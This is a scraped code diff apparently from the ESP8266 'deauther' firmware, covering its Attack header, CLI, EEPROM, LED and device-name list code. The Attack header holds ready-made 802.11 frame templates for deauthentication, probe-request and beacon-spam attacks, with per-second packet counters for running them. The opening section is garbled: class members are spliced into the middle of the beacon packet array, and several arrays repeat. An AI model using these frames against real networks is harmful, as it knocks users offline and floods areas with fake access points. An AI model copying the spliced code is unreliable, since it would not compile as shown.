||||
|
||||
uint8_t probePacket[68] = {
|
||||
/* 0 - 1 */ 0x40, 0x00, // Type: Probe Request
|
||||
/* 2 - 3 */ 0x00, 0x00, // Duration: 0 microseconds
|
||||
/* 4 - 9 */ 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, // Destination: Broadcast
|
||||
/* 10 - 15 */ 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, // Source: random MAC
|
||||
/* 16 - 21 */ 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, // BSS Id: Broadcast
|
||||
/* 22 - 23 */ 0x00, 0x00, // Sequence number (will be replaced by the SDK)
|
||||
/* 24 - 25 */ 0x00, 0x20, // Tag: Set SSID length, Tag length: 32
|
||||
/* 26 - 57 */ 0x20, 0x20, 0x20, 0x20, // SSID
|
||||
0x20, 0x20, 0x20, 0x20,
|
||||
0x20, 0x20, 0x20, 0x20,
|
||||
0x20, 0x20, 0x20, 0x20,
|
||||
0x20, 0x20, 0x20, 0x20,
|
||||
0x20, 0x20, 0x20, 0x20,
|
||||
0x20, 0x20, 0x20, 0x20,
|
||||
0x20, 0x20, 0x20, 0x20,
|
||||
/* 58 - 59 */ 0x01, 0x04, //Tag Number: Supported Rates (1), Tag length: 4
|
||||
/* 60 */ 0x82, // 1(B)
|
||||
/* 61 */ 0x84, // 2(B)
|
||||
/* 62 */ 0x8b, // 5.5(B)
|
||||
/* 63 */ 0x96, // 11(B)
|
||||
/* 64 */ 0x24, // 18
|
||||
/* 65 */ 0x30, // 24
|
||||
/* 66 */ 0x48, // 36
|
||||
/* 67 */ 0x6c // 54
|
||||
};
|
||||
|
||||
uint8_t beaconPacket[109] = {
|
||||
/* 0 - 3 */ 0x80, 0x00, 0x00, 0x00, // Type/Subtype: managment beacon frame
|
||||
/* 4 - 9 */ 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, // Destination: broadcast
|
||||
/* 10 - 15 */ 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // Source
|
||||
/* 16 - 21 */ 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // Source
|
||||
private:
|
||||
void deauthUpdate();
|
||||
void deauthAllUpdate();
|
||||
void beaconUpdate();
|
||||
void probeUpdate();
|
||||
|
||||
// Fixed parameters
|
||||
/* 22 - 23 */ 0x00, 0x00, // Fragment & sequence number (will be done by the SDK)
|
||||
/* 24 - 31 */ 0x83, 0x51, 0xf7, 0x8f, 0x0f, 0x00, 0x00, 0x00, // Timestamp
|
||||
/* 32 - 33 */ 0x64, 0x00, // Interval: 0x64, 0x00 => every 100ms - 0xe8, 0x03 => every 1s
|
||||
/* 34 - 35 */ 0x31, 0x00, // capabilities Tnformation
|
||||
|
||||
// Tagged parameters
|
||||
void updateCounter();
|
||||
|
||||
// SSID parameters
|
||||
/* 36 - 37 */ 0x00, 0x20, // Tag: Set SSID length, Tag length: 32
|
||||
/* 38 - 69 */ 0x20, 0x20, 0x20, 0x20,
|
||||
0x20, 0x20, 0x20, 0x20,
|
||||
0x20, 0x20, 0x20, 0x20,
|
||||
0x20, 0x20, 0x20, 0x20,
|
||||
0x20, 0x20, 0x20, 0x20,
|
||||
0x20, 0x20, 0x20, 0x20,
|
||||
0x20, 0x20, 0x20, 0x20,
|
||||
0x20, 0x20, 0x20, 0x20, // SSID
|
||||
bool running = false;
|
||||
bool output = true;
|
||||
|
||||
// Supported Rates
|
||||
/* 70 - 71 */ 0x01, 0x08, // Tag: Supported Rates, Tag length: 8
|
||||
/* 72 */ 0x82, // 1(B)
|
||||
/* 73 */ 0x84, // 2(B)
|
||||
/* 74 */ 0x8b, // 5.5(B)
|
||||
/* 75 */ 0x96, // 11(B)
|
||||
/* 76 */ 0x24, // 18
|
||||
/* 77 */ 0x30, // 24
|
||||
/* 78 */ 0x48, // 36
|
||||
/* 79 */ 0x6c, // 54
|
||||
|
||||
// Current Channel
|
||||
/* 80 - 81 */ 0x03, 0x01, // Channel set, length
|
||||
/* 82 */ 0x01, // Current Channel
|
||||
|
||||
// RSN information
|
||||
/* 83 - 84 */ 0x30, 0x18,
|
||||
/* 85 - 86 */ 0x01, 0x00,
|
||||
/* 87 - 90 */ 0x00, 0x0f, 0xac, 0x02,
|
||||
/* 91 - 92 */ 0x02, 0x00,
|
||||
/* 93 - 100 */ 0x00, 0x0f, 0xac, 0x04, 0x00, 0x0f, 0xac, 0x02,
|
||||
/* 101 - 102 */ 0x01, 0x00,
|
||||
/* 103 - 106 */ 0x00, 0x0f, 0xac, 0x02,
|
||||
/* 107 - 108 */ 0x00, 0x00
|
||||
};
|
||||
};
|
||||
struct AttackType {
|
||||
bool active = false; // if attack is activated
|
||||
uint16_t packetCounter = 0; // how many packets are sent per second
|
||||
uint16_t maxPkts = 0; // how many packets should be sent per second
|
||||
uint8_t tc = 0; // target counter, i.e. which AP or SSID
|
||||
uint32_t time = 0; // time last packet was sent
|
||||
};
|
||||
|
||||
#endif
|
||||
AttackType deauth;
|
||||
AttackType beacon;
|
||||
AttackType probe;
|
||||
bool deauthAll = false;
|
||||
|
||||
uint32_t deauthPkts = 0;
|
||||
uint32_t beaconPkts = 0;
|
||||
uint32_t probePkts = 0;
|
||||
|
||||
|
||||
uint32_t tmpPacketRate = 0;
|
||||
uint32_t packetRate = 0;
|
||||
|
||||
uint8_t apCount = 0;
|
||||
uint8_t stCount = 0;
|
||||
uint8_t nCount = 0;
|
||||
|
||||
int8_t tmpID = -1;
|
||||
|
||||
uint16_t packetSize = 0;
|
||||
uint32_t attackTime = 0; // for counting how many packets per second
|
||||
uint32_t attackStartTime = 0;
|
||||
uint32_t timeout = 0;
|
||||
|
||||
// random mac address for making the beacon packets
|
||||
uint8_t mac[6] = { 0xAA, 0xBB, 0xCC, 0x00, 0x11, 0x22 };
|
||||
|
||||
uint8_t deauthPacket[26] = {
|
||||
/* 0 - 1 */ 0xC0, 0x00, // type, subtype c0: deauth (a0: disassociate)
|
||||
/* 2 - 3 */ 0x00, 0x00, // duration (SDK takes care of that)
|
||||
/* 4 - 9 */ 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, // reciever (target)
|
||||
/* 10 - 15 */ 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, // source (ap)
|
||||
/* 16 - 21 */ 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, // BSSID (ap)
|
||||
/* 22 - 23 */ 0x00, 0x00, // fragment & squence number
|
||||
/* 24 - 25 */ 0x01, 0x00 // reason code (1 = unspecified reason)
|
||||
};
|
||||
|
||||
uint8_t probePacket[68] = {
|
||||
/* 0 - 1 */ 0x40, 0x00, // Type: Probe Request
|
||||
/* 2 - 3 */ 0x00, 0x00, // Duration: 0 microseconds
|
||||
/* 4 - 9 */ 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, // Destination: Broadcast
|
||||
/* 10 - 15 */ 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, // Source: random MAC
|
||||
/* 16 - 21 */ 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, // BSS Id: Broadcast
|
||||
/* 22 - 23 */ 0x00, 0x00, // Sequence number (will be replaced by the SDK)
|
||||
/* 24 - 25 */ 0x00, 0x20, // Tag: Set SSID length, Tag length: 32
|
||||
/* 26 - 57 */ 0x20, 0x20, 0x20, 0x20, // SSID
|
||||
0x20, 0x20, 0x20, 0x20,
|
||||
0x20, 0x20, 0x20, 0x20,
|
||||
0x20, 0x20, 0x20, 0x20,
|
||||
0x20, 0x20, 0x20, 0x20,
|
||||
0x20, 0x20, 0x20, 0x20,
|
||||
0x20, 0x20, 0x20, 0x20,
|
||||
0x20, 0x20, 0x20, 0x20,
|
||||
/* 58 - 59 */ 0x01, 0x08, // Tag Number: Supported Rates (1), Tag length: 8
|
||||
/* 60 */ 0x82, // 1(B)
|
||||
/* 61 */ 0x84, // 2(B)
|
||||
/* 62 */ 0x8b, // 5.5(B)
|
||||
/* 63 */ 0x96, // 11(B)
|
||||
/* 64 */ 0x24, // 18
|
||||
/* 65 */ 0x30, // 24
|
||||
/* 66 */ 0x48, // 36
|
||||
/* 67 */ 0x6c // 54
|
||||
};
|
||||
|
||||
uint8_t beaconPacket[109] = {
|
||||
/* 0 - 3 */ 0x80, 0x00, 0x00, 0x00, // Type/Subtype: managment beacon frame
|
||||
/* 4 - 9 */ 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, // Destination: broadcast
|
||||
/* 10 - 15 */ 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // Source
|
||||
/* 16 - 21 */ 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // Source
|
||||
|
||||
// Fixed parameters
|
||||
/* 22 - 23 */ 0x00, 0x00, // Fragment & sequence number (will be done by the SDK)
|
||||
/* 24 - 31 */ 0x83, 0x51, 0xf7, 0x8f, 0x0f, 0x00, 0x00, 0x00, // Timestamp
|
||||
/* 32 - 33 */ 0x64, 0x00, // Interval: 0x64, 0x00 => every 100ms - 0xe8, 0x03 => every 1s
|
||||
/* 34 - 35 */ 0x31, 0x00, // capabilities Tnformation
|
||||
|
||||
// Tagged parameters
|
||||
|
||||
// SSID parameters
|
||||
/* 36 - 37 */ 0x00, 0x20, // Tag: Set SSID length, Tag length: 32
|
||||
/* 38 - 69 */ 0x20, 0x20, 0x20, 0x20,
|
||||
0x20, 0x20, 0x20, 0x20,
|
||||
0x20, 0x20, 0x20, 0x20,
|
||||
0x20, 0x20, 0x20, 0x20,
|
||||
0x20, 0x20, 0x20, 0x20,
|
||||
0x20, 0x20, 0x20, 0x20,
|
||||
0x20, 0x20, 0x20, 0x20,
|
||||
0x20, 0x20, 0x20, 0x20, // SSID
|
||||
|
||||
// Supported Rates
|
||||
/* 70 - 71 */ 0x01, 0x08, // Tag: Supported Rates, Tag length: 8
|
||||
/* 72 */ 0x82, // 1(B)
|
||||
/* 73 */ 0x84, // 2(B)
|
||||
/* 74 */ 0x8b, // 5.5(B)
|
||||
/* 75 */ 0x96, // 11(B)
|
||||
/* 76 */ 0x24, // 18
|
||||
/* 77 */ 0x30, // 24
|
||||
/* 78 */ 0x48, // 36
|
||||
/* 79 */ 0x6c, // 54
|
||||
|
||||
// Current Channel
|
||||
/* 80 - 81 */ 0x03, 0x01, // Channel set, length
|
||||
/* 82 */ 0x01, // Current Channel
|
||||
|
||||
// RSN information
|
||||
/* 83 - 84 */ 0x30, 0x18,
|
||||
/* 85 - 86 */ 0x01, 0x00,
|
||||
/* 87 - 90 */ 0x00, 0x0f, 0xac, 0x02,
|
||||
/* 91 - 92 */ 0x02, 0x00,
|
||||
/* 93 - 100 */ 0x00, 0x0f, 0xac, 0x04, 0x00, 0x0f, 0xac, 0x04, /*Fix: changed 0x02(TKIP) to 0x04(CCMP) is default. WPA2 with TKIP not supported by many devices*/
|
||||
/* 101 - 102 */ 0x01, 0x00,
|
||||
/* 103 - 106 */ 0x00, 0x0f, 0xac, 0x02,
|
||||
/* 107 - 108 */ 0x00, 0x00
|
||||
};
|
||||
};
|
File diff suppressed because it is too large
Load Diff
|
@ -0,0 +1,89 @@
|
|||
/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */
|
||||
|
||||
#pragma once
|
||||
|
||||
#include "Arduino.h"
|
||||
#include <ESP8266WiFi.h>
|
||||
extern "C" {
|
||||
#include "user_interface.h"
|
||||
}
|
||||
#include "language.h"
|
||||
#include "A_config.h"
|
||||
#include "SimpleList.h"
|
||||
#include "Names.h"
|
||||
#include "SSIDs.h"
|
||||
#include "Scan.h"
|
||||
#include "Attack.h"
|
||||
#include "DisplayUI.h"
|
||||
#include "led.h"
|
||||
|
||||
extern Names names;
|
||||
extern SSIDs ssids;
|
||||
extern Accesspoints accesspoints;
|
||||
extern Stations stations;
|
||||
extern Scan scan;
|
||||
extern Attack attack;
|
||||
extern DisplayUI displayUI;
|
||||
extern uint32_t currentTime;
|
||||
extern uint32_t autosaveTime;
|
||||
|
||||
extern String macToStr(const uint8_t* mac);
|
||||
extern bool strToMac(String macStr, uint8_t* mac);
|
||||
extern bool strToIP(String ipStr, uint8_t* ip);
|
||||
extern void strToColor(String str, uint8_t* buf);
|
||||
extern void readFileToSerial(String path, bool showLineNum);
|
||||
extern bool readFile(String path, String& buf);
|
||||
extern bool removeFile(String path);
|
||||
extern bool copyFile(String pathFrom, String pathTo);
|
||||
extern bool renameFile(String pathFrom, String pathTo);
|
||||
extern bool appendFile(String path, String& buf);
|
||||
extern bool removeLines(String path, int lineFrom, int lineTo);
|
||||
extern bool replaceLine(String path, int line, String& buf);
|
||||
extern bool equalsKeyword(const char* str, const char* keyword);
|
||||
|
||||
class CLI {
|
||||
public:
|
||||
CLI();
|
||||
~CLI();
|
||||
|
||||
void load();
|
||||
void load(String filepath);
|
||||
|
||||
void enable();
|
||||
void disable();
|
||||
|
||||
void update();
|
||||
void stop();
|
||||
|
||||
void enableDelay(uint32_t delayTime);
|
||||
|
||||
void exec(String input);
|
||||
void execFile(String path);
|
||||
void runLine(String input);
|
||||
void runCommand(String input);
|
||||
|
||||
private:
|
||||
bool enabled = false;
|
||||
|
||||
SimpleList<String>* list;
|
||||
SimpleList<String>* queue;
|
||||
|
||||
bool delayed = false;
|
||||
uint32_t delayTime = 0;
|
||||
uint32_t delayStartTime = 0;
|
||||
|
||||
String execPath = "/autostart.txt";
|
||||
|
||||
struct Keyword {
|
||||
const char* name;
|
||||
const char* shortName;
|
||||
const char* alt;
|
||||
};
|
||||
|
||||
void error(String message);
|
||||
void parameterError(String parameter);
|
||||
bool isInt(String str);
|
||||
int toInt(String str);
|
||||
uint32_t getTime(String time);
|
||||
bool eqlsCMD(int i, const char* keyword);
|
||||
};
|
|
@ -1,111 +0,0 @@
|
|||
#include "DigitalLed.h"
|
||||
|
||||
DigitalLed::DigitalLed() {
|
||||
|
||||
}
|
||||
|
||||
// setup pins
|
||||
void DigitalLed::setup(){
|
||||
if(!settings.getLedEnabled()) return;
|
||||
|
||||
// ===== adjustable ===== //
|
||||
if(LED_ENABLE_R) pinMode(LED_PIN_R, OUTPUT);
|
||||
if(LED_ENABLE_G) pinMode(LED_PIN_G, OUTPUT);
|
||||
if(LED_ENABLE_B) pinMode(LED_PIN_B, OUTPUT);
|
||||
// ====================== //
|
||||
|
||||
setMode(LED_MODE_OFF, true);
|
||||
}
|
||||
|
||||
void DigitalLed::setColor(uint8_t r, uint8_t g, uint8_t b, uint8_t brightness, bool output) {
|
||||
// debug output
|
||||
if (output){
|
||||
char s[30];
|
||||
sprintf(s,str(L_OUTPUT_A).c_str(), r, g, b);
|
||||
prnt(String(s));
|
||||
}
|
||||
|
||||
// ===== adjustable ===== //
|
||||
if(LED_CATHODE){
|
||||
r = r>0;
|
||||
g = g>0;
|
||||
b = b>0;
|
||||
}else{
|
||||
r = !(r>0);
|
||||
g = !(g>0);
|
||||
b = !(b>0);
|
||||
}
|
||||
|
||||
if(LED_ENABLE_R) digitalWrite(LED_PIN_R, r);
|
||||
if(LED_ENABLE_G) digitalWrite(LED_PIN_G, g);
|
||||
if(LED_ENABLE_B) digitalWrite(LED_PIN_B, b);
|
||||
// ====================== //
|
||||
|
||||
// debug output
|
||||
if (output){
|
||||
char s[30];
|
||||
sprintf(s,str(L_OUTPUT_B).c_str(), r?255:0, g?255:0, b?255:0);
|
||||
prnt(String(s));
|
||||
}
|
||||
}
|
||||
|
||||
// customize color codes for different LED modes
|
||||
void DigitalLed::setMode(uint8_t mode, bool force) {
|
||||
// ===== adjustable ===== //
|
||||
if (mode != DigitalLed::mode || force) {
|
||||
DigitalLed::mode = mode;
|
||||
switch (mode) {
|
||||
case LED_MODE_OFF:
|
||||
setColor(0, 0, 0, 100, false);
|
||||
break;
|
||||
case LED_MODE_SCAN:
|
||||
setColor(0, 0, 255, 100, false);
|
||||
break;
|
||||
case LED_MODE_ATTACK:
|
||||
setColor(255, 255, 0, 100, false);
|
||||
break;
|
||||
case LED_MODE_DEAUTH:
|
||||
setColor(255, 0, 0, 100, false);
|
||||
break;
|
||||
case LED_MODE_IDLE:
|
||||
setColor(0, 255, 0, 100, false);
|
||||
break;
|
||||
}
|
||||
}
|
||||
// ====================== //
|
||||
}
|
||||
|
||||
void DigitalLed::tempEnable() {
|
||||
tempEnabled = true;
|
||||
prntln(L_ENABLED);
|
||||
}
|
||||
|
||||
void DigitalLed::tempDisable() {
|
||||
tempEnabled = false;
|
||||
prntln(L_DISABLED);
|
||||
}
|
||||
|
||||
bool DigitalLed::getTempEnabled() {
|
||||
return tempEnabled;
|
||||
}
|
||||
|
||||
void DigitalLed::setColor(uint8_t r, uint8_t g, uint8_t b) {
|
||||
setColor(r, g, b, 100, true);
|
||||
}
|
||||
|
||||
void DigitalLed::setColor(uint8_t r, uint8_t g, uint8_t b, uint8_t brightness) {
|
||||
setColor(r, g, b, brightness, true);
|
||||
}
|
||||
|
||||
void DigitalLed::update() {
|
||||
if (!tempEnabled) return;
|
||||
if (!settings.getLedEnabled() && tempEnabled) tempDisable();
|
||||
|
||||
if (scan.isScanning() && scan.deauths < settings.getMinDeauths()) setMode(LED_MODE_SCAN, false);
|
||||
else if (scan.deauths >= settings.getMinDeauths()) setMode(LED_MODE_DEAUTH, false);
|
||||
else if (attack.isRunning()) setMode(LED_MODE_ATTACK, false);
|
||||
else setMode(LED_MODE_IDLE, false);
|
||||
}
|
||||
|
||||
|
||||
|
|
@ -1,42 +0,0 @@
|
|||
#ifndef DigitalLed_h
|
||||
#define DigitalLed_h
|
||||
|
||||
#include "Arduino.h"
|
||||
#include "Settings.h"
|
||||
#include "Attack.h"
|
||||
#include "Scan.h"
|
||||
#include "language.h"
|
||||
#include "A_config.h"
|
||||
|
||||
#define LED_MODE_OFF 0
|
||||
#define LED_MODE_SCAN 1
|
||||
#define LED_MODE_ATTACK 2
|
||||
#define LED_MODE_DEAUTH 3
|
||||
#define LED_MODE_IDLE 4
|
||||
|
||||
extern Settings settings;
|
||||
extern Attack attack;
|
||||
extern Scan scan;
|
||||
extern Stations stations;
|
||||
|
||||
class DigitalLed {
|
||||
public:
|
||||
DigitalLed();
|
||||
void setup();
|
||||
void setColor(uint8_t r, uint8_t g, uint8_t b);
|
||||
void setColor(uint8_t r, uint8_t g, uint8_t b, uint8_t brightness);
|
||||
void setMode(uint8_t mode, bool force);
|
||||
void update();
|
||||
void tempEnable();
|
||||
void tempDisable();
|
||||
bool getTempEnabled();
|
||||
private:
|
||||
uint8_t mode;
|
||||
bool tempEnabled = true;
|
||||
void setColor(uint8_t r, uint8_t g, uint8_t b, uint8_t brightness, bool output);
|
||||
};
|
||||
|
||||
#endif
|
||||
|
||||
|
||||
|
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
|
@ -0,0 +1,62 @@
|
|||
/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */
|
||||
|
||||
#pragma once
|
||||
|
||||
// ========== Includes ========== //
|
||||
#include <EEPROM.h>
|
||||
|
||||
// ========== Boot Counter Structure ========== //
|
||||
|
||||
// Used for memory verificaiton
|
||||
#define BOOT_MAGIC_NUM 1234567890
|
||||
|
||||
typedef struct boot {
|
||||
unsigned int magic_num : 32;
|
||||
unsigned int boot_num : 8;
|
||||
} boot;
|
||||
|
||||
// ========== EEPROM Helper Class ========== //
|
||||
class EEPROMHelper {
|
||||
public:
|
||||
static void begin(const int eepromSize) {
|
||||
EEPROM.begin(eepromSize);
|
||||
}
|
||||
|
||||
static void end() {
|
||||
EEPROM.end();
|
||||
}
|
||||
|
||||
template<typename T>
|
||||
static void saveObject(const int address, const T& t) {
|
||||
EEPROM.put(address, t);
|
||||
|
||||
EEPROM.commit();
|
||||
}
|
||||
|
||||
template<typename T>
|
||||
static void getObject(const int address, const T& t) {
|
||||
EEPROM.get(address, t);
|
||||
}
|
||||
|
||||
static bool checkBootNum(const int address) {
|
||||
boot b;
|
||||
|
||||
EEPROM.get(address, b);
|
||||
|
||||
if ((b.magic_num == BOOT_MAGIC_NUM) && (b.boot_num < 3)) {
|
||||
saveObject(address, boot{ BOOT_MAGIC_NUM, ++b.boot_num });
|
||||
return true;
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
static void resetBootNum(const int address) {
|
||||
saveObject(address, boot{ BOOT_MAGIC_NUM, 1 });
|
||||
}
|
||||
|
||||
static void format(unsigned long size) {
|
||||
for (unsigned long i = 0; i<size; i++) EEPROM.write(i, 0x00);
|
||||
EEPROM.commit();
|
||||
}
|
||||
};
|
|
@ -1,498 +1,519 @@
|
|||
/* This software is licensed under the MIT License: https://github.com/spacehuhntech/esp8266_deauther */
|
||||
|
||||
#include "Names.h"
|
||||
|
||||
#include <LittleFS.h>
|
||||
|
||||
Names::Names() {
|
||||
list = new LinkedList<Device>;
|
||||
list = new SimpleList<Device>;
|
||||
}
|
||||
|
||||
void Names::load() {
|
||||
internal_removeAll();
|
||||
internal_removeAll();
|
||||
|
||||
DynamicJsonBuffer jsonBuffer(4000);
|
||||
DynamicJsonBuffer jsonBuffer(4000);
|
||||
|
||||
checkFile(FILE_PATH, String(OPEN_BRACKET) + String(CLOSE_BRACKET));
|
||||
JsonArray &arr = parseJSONFile(FILE_PATH, jsonBuffer);
|
||||
checkFile(FILE_PATH, String(OPEN_BRACKET) + String(CLOSE_BRACKET));
|
||||
JsonArray& arr = parseJSONFile(FILE_PATH, jsonBuffer);
|
||||
|
||||
for (int i = 0; i < arr.size() && i < NAME_LIST_SIZE; i++) {
|
||||
JsonArray &tmpArray = arr.get<JsonVariant>(i);
|
||||
internal_add(tmpArray.get<String>(0), tmpArray.get<String>(2), tmpArray.get<String>(3), tmpArray.get<uint8_t>(4), false);
|
||||
sort();
|
||||
}
|
||||
for (uint32_t i = 0; i < arr.size() && i < NAME_LIST_SIZE; i++) {
|
||||
JsonArray& tmpArray = arr.get<JsonVariant>(i);
|
||||
internal_add(tmpArray.get<String>(0), tmpArray.get<String>(2), tmpArray.get<String>(3), tmpArray.get<uint8_t>(
|
||||
4), false);
|
||||
sort();
|
||||
}
|
||||
|
||||
prnt(N_LOADED);
|
||||
prntln(FILE_PATH);
|
||||
prnt(N_LOADED);
|
||||
prntln(FILE_PATH);
|
||||
}
|
||||
|
||||
void Names::load(String filepath) {
|
||||
String tmp = FILE_PATH;
|
||||
FILE_PATH = filepath;
|
||||
load();
|
||||
FILE_PATH = tmp;
|
||||
String tmp = FILE_PATH;
|
||||
|
||||
FILE_PATH = filepath;
|
||||
load();
|
||||
FILE_PATH = tmp;
|
||||
}
|
||||
|
||||
void Names::save(bool force) {
|
||||
if (!force && !changed) {
|
||||
return;
|
||||
prntln(N_SAVED);
|
||||
}
|
||||
if (!force && !changed) {
|
||||
return;
|
||||
|
||||
String buf = String(OPEN_BRACKET); // [
|
||||
prntln(N_SAVED);
|
||||
}
|
||||
|
||||
if (!writeFile(FILE_PATH, buf)) {
|
||||
prnt(F_ERROR_SAVING);
|
||||
prntln(FILE_PATH);
|
||||
return;
|
||||
}
|
||||
String buf = String(OPEN_BRACKET); // [
|
||||
|
||||
buf = String();
|
||||
|
||||
String name;
|
||||
int size = list->size();
|
||||
|
||||
for (int i = 0; i < size; i++) {
|
||||
name = escape(getName(i));
|
||||
|
||||
buf += String(OPEN_BRACKET) + String(DOUBLEQUOTES) + getMacStr(i) + String(DOUBLEQUOTES) + String(COMMA); // ["00:11:22:00:11:22",
|
||||
buf += String(DOUBLEQUOTES) + getVendorStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "vendor",
|
||||
buf += String(DOUBLEQUOTES) + name + String(DOUBLEQUOTES) + String(COMMA); // "name",
|
||||
buf += String(DOUBLEQUOTES) + getBssidStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "00:11:22:00:11:22",
|
||||
buf += String(getCh(i)) + String(COMMA); // 1,
|
||||
buf += b2s(getSelected(i)) + String(CLOSE_BRACKET); // false]
|
||||
if(i < size-1) buf += COMMA; // ,
|
||||
|
||||
if(buf.length() >= 1024){
|
||||
if (!appendFile(FILE_PATH, buf)) {
|
||||
if (!writeFile(FILE_PATH, buf)) {
|
||||
prnt(F_ERROR_SAVING);
|
||||
prntln(FILE_PATH);
|
||||
return;
|
||||
}
|
||||
|
||||
buf = String();
|
||||
}
|
||||
}
|
||||
|
||||
buf += String(CLOSE_BRACKET); // ]
|
||||
buf = String();
|
||||
|
||||
if (!appendFile(FILE_PATH, buf)) {
|
||||
prnt(F_ERROR_SAVING);
|
||||
String name;
|
||||
int c = count();
|
||||
|
||||
for (int i = 0; i < c; i++) {
|
||||
name = escape(getName(i));
|
||||
|
||||
buf += String(OPEN_BRACKET) + String(DOUBLEQUOTES) + getMacStr(i) + String(DOUBLEQUOTES) + String(COMMA); // ["00:11:22:00:11:22",
|
||||
buf += String(DOUBLEQUOTES) + getVendorStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "vendor",
|
||||
buf += String(DOUBLEQUOTES) + name + String(DOUBLEQUOTES) + String(COMMA); // "name",
|
||||
buf += String(DOUBLEQUOTES) + getBssidStr(i) + String(DOUBLEQUOTES) + String(COMMA); // "00:11:22:00:11:22",
|
||||
buf += String(getCh(i)) + String(COMMA); // 1,
|
||||
buf += b2s(getSelected(i)) + String(CLOSE_BRACKET); // false]
|
||||
|
||||
if (i < c - 1) buf += COMMA; // ,
|
||||
|
||||
if (buf.length() >= 1024) {
|
||||
if (!appendFile(FILE_PATH, buf)) {
|
||||
prnt(F_ERROR_SAVING);
|
||||
prntln(FILE_PATH);
|
||||
return;
|
||||
}
|
||||
|
||||
buf = String();
|
||||
}
|
||||
}
|
||||
|
||||
buf += String(CLOSE_BRACKET); // ]
|
||||
|
||||
if (!appendFile(FILE_PATH, buf)) {
|
||||
prnt(F_ERROR_SAVING);
|
||||
prntln(FILE_PATH);
|
||||
return;
|
||||
}
|
||||
|
||||
prnt(N_SAVED);
|
||||
prntln(FILE_PATH);
|
||||
return;
|
||||
}
|
||||
|
||||
prnt(N_SAVED);
|
||||
prntln(FILE_PATH);
|
||||
changed = false;
|
||||
changed = false;
|
||||
}
|
||||
|
||||
void Names::save(bool force, String filepath) {
|
||||
String tmp = FILE_PATH;
|
||||
FILE_PATH = filepath;
|
||||
save(force);
|
||||
FILE_PATH = tmp;
|
||||
String tmp = FILE_PATH;
|
||||
|
||||
FILE_PATH = filepath;
|
||||
save(force);
|
||||
FILE_PATH = tmp;
|
||||
}
|
||||
|
||||
void Names::sort() {
|
||||
list->sort([](Device & a, Device & b) -> int{
|
||||
return memcmp(a.mac, b.mac, 6);
|
||||
});
|
||||
list->setCompare([](Device& a, Device& b) -> int {
|
||||
return memcmp(a.mac, b.mac, 6);
|
||||
});
|
||||
list->sort();
|
||||
}
|
||||
|
||||
void Names::removeAll() {
|
||||
internal_removeAll();
|
||||
prntln(N_REMOVED_ALL);
|
||||
changed = true;
|
||||
}
|
||||
|
||||
int Names::binSearch(uint8_t* searchBytes, int lowerEnd, int upperEnd) {
|
||||
int res;
|
||||
int mid = (lowerEnd + upperEnd) / 2;
|
||||
|
||||
Device tmpDevice;
|
||||
while (lowerEnd <= upperEnd) {
|
||||
tmpDevice = list->get(mid);
|
||||
|
||||
res = memcmp(searchBytes, tmpDevice.mac, 6);
|
||||
|
||||
if (res == 0) {
|
||||
return mid;
|
||||
} else if (res < 0) {
|
||||
upperEnd = mid - 1;
|
||||
mid = (lowerEnd + upperEnd) / 2;
|
||||
} else if (res > 0) {
|
||||
lowerEnd = mid + 1;
|
||||
mid = (lowerEnd + upperEnd) / 2;
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
return -1;
|
||||
internal_removeAll();
|
||||
prntln(N_REMOVED_ALL);
|
||||
changed = true;
|
||||
}
|
||||
|
||||
bool Names::check(int num) {
|
||||
if (internal_check(num)) return true;
|
||||
prnt(N_ERROR_NOT_FOUND);
|
||||
prntln(num);
|
||||
return false;
|
||||
if (internal_check(num)) return true;
|
||||
|
||||
prnt(N_ERROR_NOT_FOUND);
|
||||
prntln(num);
|
||||
return false;
|
||||
}
|
||||
|
||||
int Names::findID(uint8_t* mac) {
|
||||
return binSearch(mac, 0, list->size() - 1);
|
||||
for (int i = 0; i < list->size(); i++) {
|
||||
if (memcmp(mac, list->get(i).mac, 6) == 0) return i;
|
||||
}
|
||||
|
||||
return -1;
|
||||
}
|
||||
|
||||
String Names::find(uint8_t* mac) {
|
||||
int num = findID(mac);
|
||||
if (num >= 0)
|
||||
return getName(num);
|
||||
else
|
||||
return String();
|
||||
int num = findID(mac);
|
||||
|
||||
if (num >= 0) return getName(num);
|
||||
else return String();
|
||||
}
|
||||
|
||||
void Names::print(int num) {
|
||||
print(num, true, true);
|
||||
print(num, true, true);
|
||||
}
|
||||
|
||||
void Names::print(int num, bool header, bool footer) {
|
||||
if (!check(num)) return;
|
||||
if (header) {
|
||||
prntln(N_TABLE_HEADER);
|
||||
prntln(N_TABLE_DIVIDER);
|
||||
}
|
||||
if (!check(num)) return;
|
||||
|
||||
prnt(buildString(String(), (String)num, 2));
|
||||
prnt(buildString(String(SPACE) + getMacStr(num), String(), 18));
|
||||
prnt(buildString(String(SPACE) + getVendorStr(num), String(), 9));
|
||||
prnt(buildString(String(SPACE) + getName(num), String(), 17));
|
||||
prnt(buildString(String(SPACE) + getBssidStr(num), String(), 18));
|
||||
prnt(buildString(String(SPACE), (String)getCh(num), 3));
|
||||
prntln(buildString(String(SPACE) + getSelectedStr(num), String(), 9));
|
||||
if (header) {
|
||||
prntln(N_TABLE_HEADER);
|
||||
prntln(N_TABLE_DIVIDER);
|
||||
}
|
||||
|
||||
if (footer)
|
||||
prntln(N_TABLE_DIVIDER);
|
||||
